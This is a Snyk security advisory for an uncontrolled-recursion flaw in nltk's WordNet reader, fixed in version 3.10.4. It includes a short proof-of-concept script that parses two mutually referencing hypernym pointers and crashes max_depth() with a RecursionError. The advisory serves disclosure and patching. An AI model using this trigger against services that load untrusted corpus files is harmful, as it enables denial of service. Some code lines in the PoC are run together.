Uncontrolled Recursion Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.17% (4th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Recursion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-NLTK-22733189
  • published22 Nov 2026
  • disclosed19 Nov 2026
  • creditzx, manus-use, Daniel Coles

Introduced: 19 Nov 2026

NewCVE-2026-129230  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Uncontrolled Recursion via the max_depth, min_depth, hypernym_paths, and hypernym_distances methods on the Synset class in nltk/corpus/reader/wordnet.py, which traverse the hypernym pointer graph by direct recursion with no visited-node set and no depth cap. An attacker who supplies a WordNet data.<pos> corpus file containing a cyclic or over-deep hypernym pointer graph can cause these methods to recurse without bound, raising an uncaught RecursionError that aborts any worker process that does not catch it. Under a raised or removed recursion limit, unbounded recursion can instead exhaust the native stack and abort the process entirely. The @ hypernym pointer offsets are parsed and stored verbatim with no graph-shape validation, giving the attacker full control over the graph topology.

PoC

Requires only the nltk package under test on PYTHONPATH; no network or WordNet data download. The reader is instantiated with __new__ to skip unrelated OMW/lexname loading, the same technique NLTK's own recursion-DoS hardening test uses; the parser and the walker under test are unmodified library code.

  1. Build a WordNetCorpusReader without its unrelated data-loading side effects.
  2. Parse two synset records whose @ (hypernym) pointers reference each other, forming a 2-cycle.
  3. Call Synset.max_depth() on one of them.
import sys
sys.setrecursionlimit(1500)
from nltk.corpus.reader.wordnet import WordNetCorpusReader

reader = WordNetCorpusReader.new(WordNetCorpusReader) reader._synset_offset_cache = {"n": {}} reader._lexnames = ["adj.all"] reader._lemma_pos_offset_map = {"w88": {"n": [88]}, "w99": {"n": [99]}}

def make(offset, partner): line = f"{offset:08d} 00 n 01 w{offset} 0 001 @ {partner:08d} n 0000 | gloss" s = reader._synset_from_pos_and_line("n", line) reader._synset_offset_cache["n"][offset] = s return s

a = make(88, 99) b = make(99, 88) print("hypernym pointers:", dict(a._pointers)) print("hypernyms():", a.hypernyms()) try: a.max_depth() print("returned normally") except RecursionError: print("VULNERABLE: max_depth() recursed without bound -> RecursionError")

hypernym pointers: {'@': {('n', 99)}}
hypernyms(): [Synset('w99.n.01')]
VULNERABLE: max_depth() recursed without bound -> RecursionError

Note: Requires only the nltk package under test on PYTHONPATH, with no network or WordNet data download, using a WordNetCorpusReader instantiated via new to skip unrelated OMW/lexname loading.

CVSS Base Scores

version 4.0
version 3.1